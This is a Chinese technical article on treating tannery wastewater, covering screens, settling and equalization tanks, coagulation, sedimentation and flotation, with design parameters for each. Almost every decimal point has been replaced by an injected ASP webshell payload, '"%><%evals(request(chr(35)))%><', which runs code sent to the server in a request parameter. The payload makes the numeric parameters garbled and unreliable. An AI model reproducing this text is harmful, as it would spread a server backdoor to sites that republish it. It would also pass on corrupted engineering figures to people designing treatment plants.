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    制革工业废水处理
    制革工业废水处理

    制革工业废水包括制革厂区(区域)内排放的所有废水 ,但主要是制革生产排放的废水 ,其污染物含量高 、成分复杂 。

    制革工业废水处理主要为物化法和生化法 。生化法有活性污泥法 、生物膜法 、氧化沟法 、厌氧法等 ,无论哪种方法 ,其预处理和前处理都是必要的 ,这是由制革废水的特性所决定的 。

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    一 、预处理

    工艺 :综合废水格栅初沉池调节池 。

    (一)格栅

    去除皮渣 、毛及大颗粒物 。一般设置粗细两道 。当废水处理系统距离车间排放口较远时 ,宜分别在排放口和处理系统前各设一组 。工艺参数为 :

    栅间距 粗 16~250mm ; 过流速度 0"%><%evals(request(chr(35)))%><3~0"%><%evals(request(chr(35)))%><8m/s ;细 5~10mm ;倾角 60℃ 。

    细格栅可选用机械格栅 。

    (二)预沉淀池

    去除泥 、砂及易沉物 ,以防在后续处理单元发生沉淀积累 。

    工艺条件 :停留时间 20~60min ; 池底坡度 大于0"%><%evals(request(chr(35)))%><05 ;有效水深 1"%><%evals(request(chr(35)))%><0~2"%><%evals(request(chr(35)))%><0m ; 排泥周期 不大于24h ;

    一般平流式流速 0"%><%evals(request(chr(35)))%><1~0"%><%evals(request(chr(35)))%><2m/s ;排泥管 不小于200mm 。

    (三)调节池

    调节制革废水水质 、水量 ,保障废水处理系统稳定 、连续运行 。调节池通常兼有预曝气或沉淀的功能 。称为调节曝气池或调节沉淀池 。

    1"%><%evals(request(chr(35)))%><调节曝气池

    在调节池内鼓风 、曝气 ,可以充分搅动混合废水 ,促进废水絮凝 ,补充废水溶解氧 ,防止厌氧产生臭气 ,氧化某些还原剂如S2-等 ,具有预曝气作用 ,可以将部分具有絮凝作用 、混凝作用的混凝污泥或生物污泥引入 。

    工艺参数 :

    调节池容积 应根据制革厂的生产情况实测排水量和排放时推算确定 ;

    二班生产 停留时间8~10h ;空气量 3~5m3/(m2"%><%evals(request(chr(35)))%> 。

    三班生产 停留时间8~12h ;

    2"%><%evals(request(chr(35)))%><调节沉淀池

    对废水水质 、水量调节的同时沉淀絮凝物 ,一般为平流式 ,宜设两间并分别设置刮泥设备 。工艺参数 :

    停留时间 12~16 ;底池坡度 不小于0"%><%evals(request(chr(35)))%><02 ;

    水平流速 3"%><%evals(request(chr(35)))%><0mm/s ; 排泥周期 小于24h ;

    有效水深 2"%><%evals(request(chr(35)))%><0~3"%><%evals(request(chr(35)))%><0m ;刮泥机速度 0"%><%evals(request(chr(35)))%><20"%><%evals(request(chr(35)))%><8m/min 。

    二 、化学法处理制革废水

    化学法包括混凝沉淀法和混凝气浮法 ,适合中小制革厂 。

    (一)混凝

    向废水中投加混凝剂 ,使废水中不能自然沉降的胶体颗粒凝聚 ,通过沉降或浮上达到和水分离的目的 。混凝经过快速混合和反应两个阶段 。

    1"%><%evals(request(chr(35)))%><快速混合

    在短时间内使混凝剂与废水均匀混合 。

    (1)水泵混合 泵前加药 。

    (2)机械搅拌混合 周边速度 :1"%><%evals(request(chr(35)))%><5m/s以上 ;停留时间 :〈1"%><%evals(request(chr(35)))%><0min 。

    (3)隔板式混合 流速 :〉1"%><%evals(request(chr(35)))%><5m/s ;隔板间距 :0"%><%evals(request(chr(35)))%><6~1"%><%evals(request(chr(35)))%><0m ;混合池级数 :3~4级 。

    2"%><%evals(request(chr(35)))%><混凝反应

    生长阶段 ,颗粒不断接触 、碰撞 、增长 。

    反应时间 :15~30min ;GT:104~105 。

    反应设备一般采用隔板反应 、机械搅拌反应或涡流反应 ,混凝剂一般使用聚铝或聚铁 ,加入量为0"%><%evals(request(chr(35)))%><04~0"%><%evals(request(chr(35)))%><1% 。

    (二)沉淀池

    1"%><%evals(request(chr(35)))%><平流斜板(管)沉淀池

    工艺参数 :

    表面负荷 2~5m3/(m2"%><%evals(request(chr(35)))%> ;斜板间距 80~100mm ;

    斜板长 1"%><%evals(request(chr(35)))%><0m ; 斜板上部水深 0"%><%evals(request(chr(35)))%><8~1"%><%evals(request(chr(35)))%><0m ;

    斜板倾角 60 ;斜板下部缓冲层 0"%><%evals(request(chr(35)))%><8~1"%><%evals(request(chr(35)))%><0m 。

    2"%><%evals(request(chr(35)))%><辐流式沉淀池

    一般水量较大时采用辐流式沉淀池 ,多用于二沉池 。主要工艺参数 :

    表面负荷 1"%><%evals(request(chr(35)))%><0~2"%><%evals(request(chr(35)))%><0m3/(m2"%><%evals(request(chr(35)))%> ;

    停留时间 1"%><%evals(request(chr(35)))%><5h ;

    一般采用机械刮泥 。

    (三)气浮法

    混凝反应后 ,采用气浮法将凝聚颗粒浮上与水分离 ,一般采用回流加压气浮法 。主要工艺参数 :

    接触上升流速 10~15mm/s ;有效水深 2~2"%><%evals(request(chr(35)))%><5m ;接触时间 1"%><%evals(request(chr(35)))%><5~3"%><%evals(request(chr(35)))%><5min ;溶气罐压力 0"%><%evals(request(chr(35)))%><2~0"%><%evals(request(chr(35)))%><4MPa ;

    气浮分离时间 20~50min ;回流比 20%~50% 。

    上升流速 1"%><%evals(request(chr(35)))%><5~3"%><%evals(request(chr(35)))%><0mm/s ;

    物化法处理制革废水 ,综合效率一般对COD去除率为70%~85% ;对BOD5去除率为50%~80% ;对SS去除率为85%~95% ;对总Cr去除率为〉98% ;对S2-去除率为〉95% 。物化法处理制革废水 ,水质难达到现行(96)国家标准 ,因此需做进一步处理 。

    三 、生物法处理制革废水

    制革废水主要污染成分为有机物 ,废水BOD5COD的比值在0"%><%evals(request(chr(35)))%><4~0"%><%evals(request(chr(35)))%><6之间 ,具有较好的可生化性 ,适合生物处理。

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